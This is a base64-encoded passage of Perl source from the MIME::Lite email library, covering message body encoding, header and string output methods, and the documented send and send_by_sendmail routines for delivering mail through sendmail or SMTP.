bnRfc2ltcGxlX2JvZHkgewogICAgbXkgKCRzZWxmLCAkb3V0KSA9IEBfOwoKICAgICMjIyBDb2Vy Y2UgaW50byBhIHByaW50YWJsZSBvdXRwdXQgaGFuZGxlOgogICAgJG91dCA9IHdyYXAgTUlNRTo6 TGl0ZTo6SU9fSGFuZGxlICRvdXQ7CgogICAgIyMjIEdldCBjb250ZW50LXRyYW5zZmVyLWVuY29k aW5nOgogICAgbXkgJGVuY29kaW5nID0gdWMoJHNlbGYtPmF0dHIoJ2NvbnRlbnQtdHJhbnNmZXIt ZW5jb2RpbmcnKSk7CgogICAgIyMjIE5vdGljZSB0aGF0IHdlIGRvbid0IGp1c3QgYXR0ZW1wdCB0 byBzbHVycCB0aGUgZGF0YSBpbiBmcm9tIGEgZmlsZToKICAgICMjIyBieSBwcm9jZXNzaW5nIGZp bGVzIHBpZWNlbWVhbCwgd2Ugc3RpbGwgZW5hYmxlIG91cnNlbHZlcyB0byBwcmVwYXJlCiAgICAj IyMgdmVyeSBsYXJnZSBNSU1FIG1lc3NhZ2VzLi4uCgogICAgIyMjIElzIHRoZSBkYXRhIGluLWNv cmU/ICBJZiBzbywgYmxpdCBpdCBvdXQuLi4KICAgIGlmIChkZWZpbmVkKCRzZWxmLT57RGF0YX0p KSB7CiAgICAgIERBVEE6IAoJeyBsb2NhbCAkXyA9ICRlbmNvZGluZzsKCgkgIC9eQklOQVJZJC8g YW5kIGRvIHsKCSAgICAgICRvdXQtPnByaW50KCRzZWxmLT57RGF0YX0pOyAKCSAgICAgIGxhc3Qg REFUQTsKCSAgfTsKCSAgL144QklUJC8gYW5kIGRvIHsKCSAgICAgICRvdXQtPnByaW50KGVuY29k ZV84Yml0KCRzZWxmLT57RGF0YX0pKTsgCgkgICAgICBsYXN0IERBVEE7CgkgIH07CgkgIC9eN0JJ VCQvIGFuZCBkbyB7CgkgICAgICAkb3V0LT5wcmludChlbmNvZGVfN2JpdCgkc2VsZi0+e0RhdGF9 KSk7IAoJICAgICAgbGFzdCBEQVRBOwoJICB9OwoJICAvXlFVT1RFRC1QUklOVEFCTEUkLyBhbmQg ZG8gewoJICAgICAgIyMjIFVOVEFJTlQgc2luY2UgbS8vbWcgb24gdGFpbnRlZCBkYXRhIGxvb3Bz IGZvcmV2ZXI6CgkgICAgICBteSAoJHVudGFpbnRlZCkgPSAoJHNlbGYtPntEYXRhfSA9fiBtL1xB KC4qKVxaL3MpOwoKCSAgICAgICMjIyBFbmNvZGUgaXQgbGluZSBieSBsaW5lOgoJICAgICAgd2hp bGUgKCR1bnRhaW50ZWQgPX4gbXteKC4qW1xyXG5dKil9bWcpIHsKCQkgICRvdXQtPnByaW50KGVu Y29kZV9xcCgkMSkpOyAjIyMgaGF2ZSB0byBkbyBpdCBsaW5lIGJ5IGxpbmUuLi4KCSAgICAgIH0K CSAgICAgIGxhc3QgREFUQTsJIAoJICB9OwoJICAvXkJBU0U2NC8gYW5kIGRvIHsKCSAgICAgICRv dXQtPnByaW50KGVuY29kZV9iYXNlNjQoJHNlbGYtPntEYXRhfSkpOyAKCSAgICAgIGxhc3QgREFU QTsKCSAgfTsKCSAgQ2FycDo6Y3JvYWsgInVuc3VwcG9ydGVkIGVuY29kaW5nOiBgJF8nXG4iOwog ICAgICAgIH0KICAgIH0KCiAgICAjIyMgRWxzZSwgaXMgdGhlIGRhdGEgaW4gYSBmaWxlPyAgSWYg c28sIG91dHB1dCBwaWVjZW1lYWwuLi4KICAgICMjIyAgICBNaWtvJ3Mgbm90ZTogdGhpcyByb3V0 aW5lIHByZXR0eSBtdWNoIHdvcmtzIHRoZSBzYW1lIHdpdGggYSBwYXRoIAogICAgIyMjICAgIG9y IGEgZmlsZWhhbmRsZS4gdGhlIG9ubHkgZGlmZmVyZW5jZSBpbiBiZWhhdmlvdXIgaXMgdGhhdCBp dCBkb2VzIAogICAgIyMjICAgIG5vdCBhdHRlbXB0IHRvIG9wZW4gYW55dGhpbmcgaWYgaXQgYWxy ZWFkeSBoYXMgYSBmaWxlaGFuZGxlCiAgICBlbHNpZiAoZGVmaW5lZCgkc2VsZi0+e1BhdGh9KSB8 fCBkZWZpbmVkKCRzZWxmLT57Rkh9KSkgewoJbm8gc3RyaWN0ICdyZWZzJzsgICAgICAgICAgIyMj IGluIGNhc2UgRkggaXMgbm90IGFuIG9iamVjdAoJbXkgJERBVEE7CgoJIyMjIE9wZW4gZmlsZSBp ZiBuZWNlc3Nhcnk6CglpZiAoZGVmaW5lZCgkc2VsZi0+e1BhdGh9KSkgewoJICAgICREQVRBID0g bmV3IEZpbGVIYW5kbGUgfHwgQ2FycDo6Y3JvYWsgImNhbid0IGdldCBuZXcgZmlsZWhhbmRsZVxu IjsKCSAgICAkREFUQS0+b3BlbigiJHNlbGYtPntQYXRofSIpIG9yIAoJICAgICAgQ2FycDo6Y3Jv YWsgIm9wZW4gJHNlbGYtPntQYXRofTogJCFcbiI7Cgl9CgllbHNlIHsKCSAgICAkREFUQT0kc2Vs Zi0+e0ZIfTsKCX0KCUNPUkU6OmJpbm1vZGUoJERBVEEpIGlmICRzZWxmLT5iaW5tb2RlOwoJCQoJ IyMjIEVuY29kZSBwaWVjZSBieSBwaWVjZToKICAgICAgUEFUSDogCgl7ICAgbG9jYWwgJF8gPSAk ZW5jb2Rpbmc7CgkgICAgCgkgICAgL15CSU5BUlkkLyBhbmQgZG8gewoJCSRvdXQtPnByaW50KCRf KSAgICAgICAgICAgICAgICB3aGlsZSByZWFkKCREQVRBLCAkXywgMjA0OCk7IAoJCWxhc3QgUEFU SDsKCSAgICB9OyAgICAgIAoJICAgIC9eOEJJVCQvIGFuZCBkbyB7CgkJJG91dC0+cHJpbnQoZW5j b2RlXzhiaXQoJF8pKSAgIHdoaWxlICg8JERBVEE+KTsgCgkJbGFzdCBQQVRIOwoJICAgIH07Cgkg ICAgL143QklUJC8gYW5kIGRvIHsKCQkkb3V0LT5wcmludChlbmNvZGVfN2JpdCgkXykpICAgd2hp bGUgKDwkREFUQT4pOyAKCQlsYXN0IFBBVEg7CgkgICAgfTsKCSAgICAvXlFVT1RFRC1QUklOVEFC TEUkLyBhbmQgZG8gewoJCSRvdXQtPnByaW50KGVuY29kZV9xcCgkXykpICAgICB3aGlsZSAoPCRE QVRBPik7IAoJCWxhc3QgUEFUSDsKCSAgICB9OwoJICAgIC9eQkFTRTY0JC8gYW5kIGRvIHsKCQkk b3V0LT5wcmludChlbmNvZGVfYmFzZTY0KCRfKSkgd2hpbGUgKHJlYWQoJERBVEEsICRfLCA0NSkp OwoJCWxhc3QgUEFUSDsKCSAgICB9OwoJICAgIENhcnA6OmNyb2FrICJ1bnN1cHBvcnRlZCBlbmNv ZGluZzogYCRfJ1xuIjsKCX0KCQoJIyMjIENsb3NlIGZpbGU6CgljbG9zZSAkREFUQSBpZiBkZWZp bmVkKCRzZWxmLT57UGF0aH0pOwogICAgfQogICAgCiAgICBlbHNlIHsKCUNhcnA6OmNyb2FrICJu byBkYXRhIGluIHRoaXMgcGFydFxuIjsKICAgIH0KICAgIDE7Cn0KCiMtLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0KCj1pdGVtIHByaW50X2hlYWRlciBbT1VUSEFORExFXQoKSTxJbnN0YW5j ZSBtZXRob2QuPiAKUHJpbnQgdGhlIGhlYWRlciBvZiB0aGUgbWVzc2FnZSB0byB0aGUgZ2l2ZW4g b3V0cHV0IGhhbmRsZSwgCm9yIHRvIHRoZSBjdXJyZW50bHktc2VsZWN0ZWQgZmlsZWhhbmRsZSBp ZiBub25lIHdhcyBnaXZlbi4KCkFsbCBPVVRIQU5ETEUgaGFzIHRvIGJlIGlzIGEgZmlsZWhhbmRs ZSAocG9zc2libHkgYSBnbG9iIHJlZiksIG9yIAphbnkgb2JqZWN0IHRoYXQgcmVzcG9uZHMgdG8g YSBwcmludCgpIG1lc3NhZ2UuCgo9Y3V0CgpzdWIgcHJpbnRfaGVhZGVyIHsKICAgIG15ICgkc2Vs ZiwgJG91dCkgPSBAXzsKCiAgICAjIyMgQ29lcmNlIGludG8gYSBwcmludGFibGUgb3V0cHV0IGhh bmRsZToKICAgICRvdXQgPSB3cmFwIE1JTUU6OkxpdGU6OklPX0hhbmRsZSAkb3V0OwoKICAgICMj IyBPdXRwdXQgdGhlIGhlYWRlcjoKICAgICRvdXQtPnByaW50KCRzZWxmLT5oZWFkZXJfYXNfc3Ry aW5nKTsKICAgIDE7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCj1pdGVtIGFz X3N0cmluZwoKSTxJbnN0YW5jZSBtZXRob2QuPiAKUmV0dXJuIHRoZSBlbnRpcmUgbWVzc2FnZSBh cyBhIHN0cmluZywgd2l0aCBhIGhlYWRlciBhbmQgYW4gZW5jb2RlZCBib2R5LgoKPWN1dAoKc3Vi IGFzX3N0cmluZyB7CiAgICBteSAkc2VsZiA9IHNoaWZ0OwogICAgbXkgJGJ1ZiA9IFtdOwogICAg bXkgJGlvID0gKHdyYXAgTUlNRTo6TGl0ZTo6SU9fU2NhbGFyQXJyYXkgJGJ1Zik7CiAgICAkc2Vs Zi0+cHJpbnQoJGlvKTsKICAgIGpvaW4gJycsIEAkYnVmOwp9CipzdHJpbmdpZnkgPSBcJmFzX3N0 cmluZzsgICAgIyMjIGJhY2t3YXJkcyBjb21wYXRpYmlsaXR5CipzdHJpbmdpZnkgPSBcJmFzX3N0 cmluZzsgICAgIyMjIC4uLnR3aWNlIHRvIGF2b2lkIHdhcm5pbmdzIDopCgojLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tCgo9aXRlbSBib2R5X2FzX3N0cmluZwoKSTxJbnN0YW5jZSBtZXRo b2QuPiAKUmV0dXJuIHRoZSBlbmNvZGVkIGJvZHkgYXMgYSBzdHJpbmcuClRoaXMgaXMgdGhlIHBv cnRpb24gYWZ0ZXIgdGhlIGhlYWRlciBhbmQgdGhlIGJsYW5rIGxpbmUuCgpJPE5vdGU6PiBhY3R1 YWxseSBwcmVwYXJlcyB0aGUgYm9keSBieSAicHJpbnRpbmciIHRvIGEgc2NhbGFyLgpQcm9vZiB0 aGF0IHlvdSBjYW4gaGFuZCB0aGUgQzxwcmludCooKT4gbWV0aG9kcyBhbnkgYmxlc3NlZCBvYmpl Y3QgCnRoYXQgcmVzcG9uZHMgdG8gYSBDPHByaW50KCk+IG1lc3NhZ2UuCgo9Y3V0CgpzdWIgYm9k eV9hc19zdHJpbmcgewogICAgbXkgJHNlbGYgPSBzaGlmdDsKICAgIG15ICRidWYgPSBbXTsKICAg IG15ICRpbyA9ICh3cmFwIE1JTUU6OkxpdGU6OklPX1NjYWxhckFycmF5ICRidWYpOwogICAgJHNl bGYtPnByaW50X2JvZHkoJGlvKTsKICAgIGpvaW4gJycsIEAkYnVmOwp9CipzdHJpbmdpZnlfYm9k eSA9IFwmYm9keV9hc19zdHJpbmc7ICAgICMjIyBiYWNrd2FyZHMgY29tcGF0aWJpbGl0eQoqc3Ry aW5naWZ5X2JvZHkgPSBcJmJvZHlfYXNfc3RyaW5nOyAgICAjIyMgLi4udHdpY2UgdG8gYXZvaWQg d2FybmluZ3MgOikKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIwojIGZpZWxkc19h c19zdHJpbmcgRklFTERTCiMKIyBQUklWQVRFISAgUmV0dXJuIGEgc3RyaW5naWZpZWQgdmVyc2lv biBvZiB0aGUgZ2l2ZW4gaGVhZGVyCiMgZmllbGRzLCB3aGVyZSBGSUVMRFMgaXMgYW4gYXJyYXly ZWYgbGlrZSB0aGF0IHJldHVybmVkIGJ5IGZpZWxkcygpLgojCnN1YiBmaWVsZHNfYXNfc3RyaW5n IHsKICAgIG15ICgkc2VsZiwgJGZpZWxkcykgPSBAXzsKICAgIG15IEBsaW5lczsKICAgIGZvcmVh Y2ggKEAkZmllbGRzKSB7CglteSAoJHRhZywgJHZhbHVlKSA9IEAkXzsgCgluZXh0IGlmICgkdmFs dWUgZXEgJycpOyAgICAgICAgICAjIyMgc2tpcCBlbXB0aWVzCgkkdGFnID1+IHMvXGIoW2Etel0p L3VjKCQxKS9nZTsgICAjIyMgbWFrZSBwcmV0dHkKCSR0YWcgPX4gcy9ebWltZS0vTUlNRS0vaWc7 ICAgICAgICMjIyBldmVuIHByZXR0aWVyCglwdXNoIEBsaW5lcywgIiR0YWc6ICR2YWx1ZVxuIjsK ICAgIH0KICAgIGpvaW4gJycsIEBsaW5lczsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLQoKPWl0ZW0gaGVhZGVyX2FzX3N0cmluZwoKSTxJbnN0YW5jZSBtZXRob2QuPiAKUmV0dXJu IHRoZSBoZWFkZXIgYXMgYSBzdHJpbmcuCgo9Y3V0CgpzdWIgaGVhZGVyX2FzX3N0cmluZyB7CiAg ICBteSAkc2VsZiA9IHNoaWZ0OwogICAgJHNlbGYtPmZpZWxkc19hc19zdHJpbmcoJHNlbGYtPmZp ZWxkcyk7Cn0KKnN0cmluZ2lmeV9oZWFkZXIgPSBcJmhlYWRlcl9hc19zdHJpbmc7ICAgICMjIyBi YWNrd2FyZHMgY29tcGF0aWJpbGl0eQoqc3RyaW5naWZ5X2hlYWRlciA9IFwmaGVhZGVyX2FzX3N0 cmluZzsgICAgIyMjIC4uLnR3aWNlIHRvIGF2b2lkIHdhcm5pbmdzIDopCgo9YmFjawoKPWN1dAoK CgojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiM9PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT0KCj1oZWFkMiBTZW5kaW5nCgo9b3ZlciA0Cgo9Y3V0CgojLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tCgo9aXRlbSBzZW5kCgo9aXRlbSBzZW5kIEhPVywgSE9XQVJHUy4uLgoK STxDbGFzcy9pbnN0YW5jZSBtZXRob2QuPiAgClRoaXMgaXMgdGhlIHByaW5jaXBhbCBtZXRob2Qg Zm9yIHNlbmRpbmcgbWFpbCwgYW5kIGZvciBjb25maWd1cmluZwpob3cgbWFpbCB3aWxsIGJlIHNl bnQuCgpJPEFzIGEgY2xhc3MgbWV0aG9kPiB3aXRoIGEgSE9XIGFyZ3VtZW50IGFuZCBvcHRpb25h bCBIT1dBUkdTLCBpdCBzZXRzIAp0aGUgZGVmYXVsdCBzZW5kaW5nIG1lY2hhbmlzbSB0aGF0IHRo ZSBuby1hcmd1bWVudCBpbnN0YW5jZSBtZXRob2QgCndpbGwgdXNlLiAgVGhlIEhPVyBpcyBhIGZh Y2lsaXR5IG5hbWUgKEI8c2VlIGJlbG93PiksIAphbmQgdGhlIEhPV0FSR1MgaXMgaW50ZXJwcmV0 ZWQgYnkgdGhlIGZhY2lsdHkuICAKVGhlIGNsYXNzIG1ldGhvZCByZXR1cm5zIHRoZSBwcmV2aW91 cyBIT1cgYW5kIEhPV0FSR1MgYXMgYW4gYXJyYXkuCgogICAgTUlNRTo6TGl0ZS0+c2VuZCgnc2Vu ZG1haWwnLCAiZDpcXHByb2dyYW1zXFxzZW5kbWFpbC5leGUiKTsKICAgIC4uLgogICAgJG1zZyA9 IE1JTUU6OkxpdGUtPm5ldyguLi4pOwogICAgJG1zZy0+c2VuZDsKCkk8QXMgYW4gaW5zdGFuY2Ug bWV0aG9kIHdpdGggYXJndW1lbnRzPiAKKGEgSE9XIGFyZ3VtZW50IGFuZCBvcHRpb25hbCBIT1dB UkdTKSwgc2VuZHMgdGhlIG1lc3NhZ2UgaW4gdGhlIApyZXF1ZXN0ZWQgbWFubmVyOyBlLmcuOgoK ICAgICRtc2ctPnNlbmQoJ3NlbmRtYWlsJywgImQ6XFxwcm9ncmFtc1xcc2VuZG1haWwuZXhlIik7 CgpJPEFzIGFuIGluc3RhbmNlIG1ldGhvZCB3aXRoIG5vIGFyZ3VtZW50cyw+IHNlbmRzIHRoZSBt ZXNzYWdlIGJ5IAp0aGUgZGVmYXVsdCBtZWNoYW5pc20gc2V0IHVwIGJ5IHRoZSBjbGFzcyBtZXRo b2QuClJldHVybnMgd2hhdGV2ZXIgdGhlIG1haWwtaGFuZGxpbmcgcm91dGluZSByZXR1cm5zOiB0 aGlzIHNob3VsZCBiZSB0cnVlIApvbiBzdWNjZXNzLCBmYWxzZS9leGNlcHRpb24gb24gZXJyb3I6 CgogICAgJG1zZyA9IE1JTUU6OkxpdGUtPm5ldyhGcm9tPT4uLi4pOwogICAgJG1zZy0+c2VuZCB8 fCBkaWUgInlvdSBET04nVCBoYXZlIG1haWwhIjsKCk9uIFVuaXggc3lzdGVtcyAoYXQgbGVhc3Qp LCB0aGUgZGVmYXVsdCBzZXR0aW5nIGlzIGVxdWl2YWxlbnQgdG86CgogICAgTUlNRTo6TGl0ZS0+ c2VuZCgic2VuZG1haWwiLCAiL3Vzci9saWIvc2VuZG1haWwgLXQgLW9pIC1vZW0iKTsKClRoZXJl IGFyZSB0aHJlZSBmYWNpbGl0aWVzOgoKPW92ZXIgNAoKPWl0ZW0gInNlbmRtYWlsIiwgQVJHUy4u LgoKU2VuZCBhIG1lc3NhZ2UgYnkgcGlwaW5nIGl0IGludG8gdGhlICJzZW5kbWFpbCIgY29tbWFu ZC4KVXNlcyB0aGUgTDxzZW5kX2J5X3NlbmRtYWlsKCl8L3NlbmRfYnlfc2VuZG1haWw+IG1ldGhv ZCwgZ2l2aW5nIGl0IHRoZSBBUkdTLgpUaGlzIHVzYWdlIGltcGxlbWVudHMgKGFuZCBkZXByZWNh dGVzKSB0aGUgQzxzZW5kbWFpbCgpPiBtZXRob2QuCgo9aXRlbSAic210cCIsIFtIT1NUTkFNRV0K ClNlbmQgYSBtZXNzYWdlIGJ5IFNNVFAsIHVzaW5nIG9wdGlvbmFsIEhPU1ROQU1FIGFzIFNNVFAt c2VuZGluZyBob3N0LgpVc2VzIHRoZSBMPHNlbmRfYnlfc210cCgpfC9zZW5kX2J5X3NtdHA+IG1l dGhvZC4KCj1pdGVtICJzdWIiLCBcJlNVQlJFRiwgQVJHUy4uLgoKU2VuZHMgYSBtZXNzYWdlIE1T RyBieSBpbnZva2luZyB0aGUgc3Vicm91dGluZSBTVUJSRUYgb2YgeW91ciBjaG9vc2luZywKd2l0 aCBNU0cgYXMgdGhlIGZpcnN0IGFyZ3VtZW50LCBhbmQgQVJHUyBmb2xsb3dpbmcuCgo9YmFjawoK STxGb3IgZXhhbXBsZTo+IGxldCdzIHNheSB5b3UncmUgb24gYW4gT1Mgd2hpY2ggbGFja3MgdGhl IHVzdWFsIFVuaXgKInNlbmRtYWlsIiBmYWNpbGl0eSwgYnV0IHlvdSd2ZSBpbnN0YWxsZWQgc29t ZXRoaW5nIGEgbG90IGxpa2UgaXQsIGFuZAp5b3UgbmVlZCB0byBjb25maWd1cmUgeW91ciBQZXJs IHNjcmlwdCB0byB1c2UgdGhpcyAic2VuZG1haWwuZXhlIiBwcm9ncmFtLgpEbyB0aGlzIGZvbGxv d2luZyBpbiB5b3VyIHNjcmlwdCdzIHNldHVwOgoKICAgIE1JTUU6OkxpdGUtPnNlbmQoJ3NlbmRt YWlsJywgImQ6XFxwcm9ncmFtc1xcc2VuZG1haWwuZXhlIik7CgpUaGVuLCB3aGVuZXZlciB5b3Ug bmVlZCB0byBzZW5kIGEgbWVzc2FnZSAkbXNnLCBqdXN0IHNheToKCiAgICAkbXNnLT5zZW5kOwoK VGhhdCdzIGl0LiAgTm93LCBpZiB5b3UgZXZlciBtb3ZlIHlvdXIgc2NyaXB0IHRvIGEgVW5peCBi b3gsIGFsbCB5b3UKbmVlZCB0byBkbyBpcyBjaGFuZ2UgdGhhdCBsaW5lIGluIHRoZSBzZXR1cCBh bmQgeW91J3JlIGRvbmUuCkFsbCBvZiB5b3VyICRtc2ctRTxndD5zZW5kIGludm9jYXRpb25zIHdp bGwgd29yayBhcyBleHBlY3RlZC4KCj1jdXQKCnN1YiBzZW5kIHsKICAgIG15ICRzZWxmID0gc2hp ZnQ7CgogICAgaWYgKHJlZigkc2VsZikpIHsgICAgICAgICAgICAgICMjIyBpbnN0YW5jZSBtZXRo b2Q6CglteSAoJG1ldGhvZCwgQGFyZ3MpOyAKCWlmIChAXykgeyAgICAgICAgICAgICAgICAgICAg ICAgICAgICAjIyMgYXJnczsgdXNlIHRoZW0ganVzdCB0aGlzIG9uY2UKCSAgICAkbWV0aG9kID0g J3NlbmRfYnlfJyAuIHNoaWZ0OwoJICAgIEBhcmdzICAgPSBAXzsgICAgCgl9CgllbHNlIHsgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMjIG5vIGFyZ3M7IHVzZSBkZWZhdWx0cwoJICAg ICRtZXRob2QgPSAic2VuZF9ieV8kU2VuZGVyIjsKCSAgICBAYXJncyAgID0gQHskU2VuZGVyQXJn c3skU2VuZGVyfSB8fCBbXX07CSAgICAKCX0KCSRzZWxmLT52ZXJpZnlfZGF0YSBpZiAkQVVUT19W RVJJRlk7ICAjIyMgcHJldmVudHMgbWlzc2luZyBwYXJ0cyEKCXJldHVybiAkc2VsZi0+JG1ldGhv ZChAYXJncyk7CiAgICB9CiAgICBlbHNlIHsgICAgICAgICAgICAgICAgICAgICAgICAgIyMjIGNs YXNzIG1ldGhvZDoKCWlmIChAXykgewoJICAgIG15IEBvbGQgPSAoJFNlbmRlciwgQHskU2VuZGVy QXJnc3skU2VuZGVyfX0pOwoJICAgICRTZW5kZXIgPSBzaGlmdDsKCSAgICAkU2VuZGVyQXJnc3sk U2VuZGVyfSA9IFtAX107ICAgICMjIyByZW1haW5pbmcgYXJncwoJICAgIHJldHVybiBAb2xkOwoJ fQoJZWxzZSB7CgkgIENhcnA6OmNyb2FrICJjbGFzcyBtZXRob2Qgc2VuZCBtdXN0IGhhdmUgSE9X Li4uIGFyZ3VtZW50c1xuIjsKCX0KICAgIH0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLQoKPWl0ZW0gc2VuZF9ieV9zZW5kbWFpbCBTRU5ETUFJTENNRAoKPWl0ZW0gc2VuZF9ieV9z ZW5kbWFpbCBQQVJBTT0+VkFMVUUsIC4uLgoKSTxJbnN0YW5jZSBtZXRob2QuPgpTZW5kIG1lc3Nh Z2UgdmlhIGFuIGV4dGVybmFsICJzZW5kbWFpbCIgcHJvZ3JhbQoodGhpcyB3aWxsIHByb2JhYmx5 IG9ubHkgd29yayBvdXQtb2YtdGhlLWJveCBvbiBVbml4IHN5c3RlbXMpLgoKUmV0dXJucyB0cnVl IG9uIHN1Y2Nlc3MsIGZhbHNlIG9yIGV4Y2VwdGlvbiBvbiBlcnJvci4KCllvdSBjYW4gc3BlY2lm eSB0aGUgcHJvZ3JhbSBhbmQgYWxsIGl0cyBhcmd1bWVudHMgYnkgZ2l2aW5nIGEgc2luZ2xlCnN0 cmluZywgU0VORE1BSUxDTUQuICBOb3RoaW5nIGZhbmN5IGlzIGRvbmU7IHRoZSBtZXNzYWdlIGlz IHNpbXBseQpwaXBlZCBpbi4KCkhvd2V2ZXIsIGlmIHlvdXIgbmVlZHMgYXJlIGEgbGl0dGxlIG1v cmUgYWR2YW5jZWQsIHlvdSBjYW4gc3BlY2lmeSAKemVybyBvciBtb3JlIG9mIHRoZSBmb2xsb3dp bmcgUEFSQU0vVkFMVUUgcGFpcnM7IGEgVW5peC1zdHlsZSwgCnRhaW50LXNhZmUgInNlbmRtYWls IiBjb21tYW5kIHdpbGwgYmUgY29uc3RydWN0ZWQgZm9yIHlvdToKCj1vdmVyIDQKCj1pdGVtIFNl bmRtYWlsCgpGdWxsIHBhdGggdG8gdGhlIHByb2dyYW0gdG8gdXNlLiAgCkRlZmF1bHQgaXMgIi91 c3IvbGliL3NlbmRtYWlsIi4KCj1pdGVtIEJhc2VBcmdzCgpSZWYgdG8gdGhlIGJhc2ljIGFycmF5 IG9mIGFyZ3VtZW50cyB3ZSBzdGFydCB3aXRoLiAgCkRlZmF1bHQgaXMgQzxbIi10IiwgIi1vaSIs ICItb2VtIl0+LgoKPWl0ZW0gU2V0U2VuZGVyCgpVbmxlc3MgdGhpcyBpcyBJPGV4cGxpY2l0bHk+ IGdpdmVuIGFzIGZhbHNlLCB3ZSBhdHRlbXB0IHRvIGF1dG9tYXRpY2FsbHkKc2V0IHRoZSBDPC1m PiBhcmd1bWVudCB0byB0aGUgZmlyc3QgYWRkcmVzcyB0aGF0IGNhbiBiZSBleHRyYWN0ZWQgZnJv bSAKdGhlICJGcm9tOiIgZmllbGQgb2YgdGhlIG1lc3NhZ2UgKGlmIHRoZXJlIGlzIG9uZSkuIAoK STxXaGF0IGlzIHRoZSAtZiwgYW5kIHdoeSBkbyB3ZSB1c2UgaXQ/PgpTdXBwb3NlIHdlIGRpZCBJ PG5vdD4gdXNlIEM8LWY+LCBhbmQgeW91IGdhdmUgYW4gZXhwbGljaXQgIkZyb206IiAKZmllbGQg aW4geW91ciBtZXNzYWdlOiBpbiB0aGlzIGNhc2UsIHRoZSBzZW5kbWFpbCAiZW52ZWxvcGUiIHdv dWxkIAppbmRpY2F0ZSB0aGUgSTxyZWFsPiB1c2VyIHlvdXIgcHJvY2VzcyB3YXMgcnVubmluZyB1 bmRlciwgYXMgYSB3YXkgCm9mIHByZXZlbnRpbmcgbWFpbCBmb3JnZXJ5LiAgVXNpbmcgdGhlIEM8 LWY+IHN3aXRjaCBjYXVzZXMgdGhlIHNlbmRlciAKdG8gYmUgc2V0IGluIHRoZSBlbnZlbG9wZSBh cyB3ZWxsLgoKSTxTbyB3aGVuIHdvdWxkIEkgTk9UIHdhbnQgdG8gdXNlIGl0Pz4KSWYgc2VuZG1h aWwgZG9lc24ndCByZWdhcmQgeW91IGFzIGEgInRydXN0ZWQiIHVzZXIsIGl0IHdpbGwgcGVybWl0 CnRoZSBDPC1mPiBidXQgYWxzbyBhZGQgYW4gIlgtQXV0aGVudGljYXRpb24tV2FybmluZyIgaGVh ZGVyIHRvIHRoZSBtZXNzYWdlCnRvIGluZGljYXRlIGEgZm9yZ2VkIGVudmVsb3BlLiAgVG8gYXZv aWQgdGhpcywgeW91IGNhbiBlaXRoZXIgCigxKSBoYXZlIFNldFNlbmRlciBiZSBmYWxzZSwgb3Ig CigyKSBtYWtlIHlvdXJzZWxmIGEgdHJ1c3RlZCB1c2VyIGJ5IGFkZGluZyBhIEM8VD4gY29uZmln dXJhdGlvbiAKICAgIGNvbW1hbmQgdG8geW91ciBJPHNlbmRtYWlsLmNmPiBmaWxlIAogICAgKGUu Zy46IEM8VGVyeXE+IGlmIHRoZSBzY3JpcHQgaXMgcnVubmluZyBhcyB1c2VyICJlcnlxIikuCgo9 aXRlbSBGcm9tU2VuZGVyCgpJZiBkZWZpbmVkLCB0aGlzIGlzIGlkZW50aWNhbCB0byBzZXR0aW5n IFNldFNlbmRlciB0byB0cnVlLCAKZXhjZXB0IHRoYXQgaW5zdGVhZCBvZiBsb29raW5nIGF0IHRo ZSAiRnJvbToiIGZpZWxkIHdlIHVzZSAKdGhlIGFkZHJlc3MgZ2l2ZW4gYnkgdGhpcyBvcHRpb24u ClRodXM6CgogICAgRnJvbVNlbmRlciA9PiAnbWVAbXlob3N0LmNvbScKCj1iYWNrCgo9Y3V0Cgpz dWIgc2VuZF9ieV9zZW5kbWFpbCB7CiAgICBteSAkc2VsZiA9IHNoaWZ0OwoKICAgIGlmIChAXyA9 PSAxKSB7ICAgICAgICAgICAgICAgICAgICAjIyMgVXNlIHRoZSBnaXZlbiBjb21tYW5kLi4uCglt eSAkc2VuZG1haWxjbWQgPSBzaGlmdCBAXzsKCgkjIyMgRG8gaXQ6CglvcGVuIFNFTkRNQUlMLCAi fCRzZW5kbWFpbGNtZCIgb3IgQ2FycDo6Y3JvYWsgIm9wZW4gfCRzZW5kbWFpbGNtZDogJCFcbiI7 Cgkkc2VsZi0+cHJpbnQoXCpTRU5ETUFJTCk7CgljbG9zZSBTRU5ETUFJTDsKCXJldHVybiAoKCQ/ ID4+IDgpID8gdW5kZWYgOiAxKTsKICAgIH0KICAgIGVsc2UgeyAgICAgICAgICAgICAgICAgICAg ICAgICAgICAjIyMgQnVpbGQgdGhlIGNvbW1hbmQuLi4KCW15ICVwID0gQF87CgkkcHtTZW5kbWFp bH0gfHw9ICIvdXNyL2xpYi9zZW5kbWFpbCI7ICAgCgkKCSMjIyBTdGFydCB3aXRoIHRoZSBjb21t YW5kIGFuZCBiYXNpYyBhcmdzOgoJbXkgQGNtZCA9ICgkcHtTZW5kbWFpbH0sIEB7JHB7QmFzZUFy Z3N9IHx8IFsnLXQnLCAnLW9pJywgJy1vZW0nXX0pOwoKCSMjIyBTZWUgaWYgd2UgYXJlIGZvcmNp Ymx5IHNldHRpbmcgdGhlIHNlbmRlcjoKCSRwe1NldFNlbmRlcn0gPSAxIGlmIGRlZmluZWQoJHB7 RnJvbVNlbmRlcn0pOwoKCSMjIyBBZGQgdGhlIC1mIGFyZ3VtZW50LCB1bmxlc3Mgd2UncmUgZXhw bGljaXRseSB0b2xkIE5PVCB0bzoKCXVubGVzcyAoZXhpc3RzKCRwe1NldFNlbmRlcn0pIGFuZCAh JHB7U2V0U2VuZGVyfSkgewoJICAgIG15ICRmcm9tID0gJHB7RnJvbVNlbmRlcn0gfHwgKCRzZWxm LT5nZXQoJ0Zyb20nKSlbMF07CgkgICAgaWYgKCRmcm9tKSB7CgkJbXkgKCRmcm9tX2FkZHIpID0g ZXh0cmFjdF9hZGRycygkZnJvbSk7CgkJcHVzaCBAY21kLCAiLWYkZnJvbV9hZGRyIiAgICAgICBp 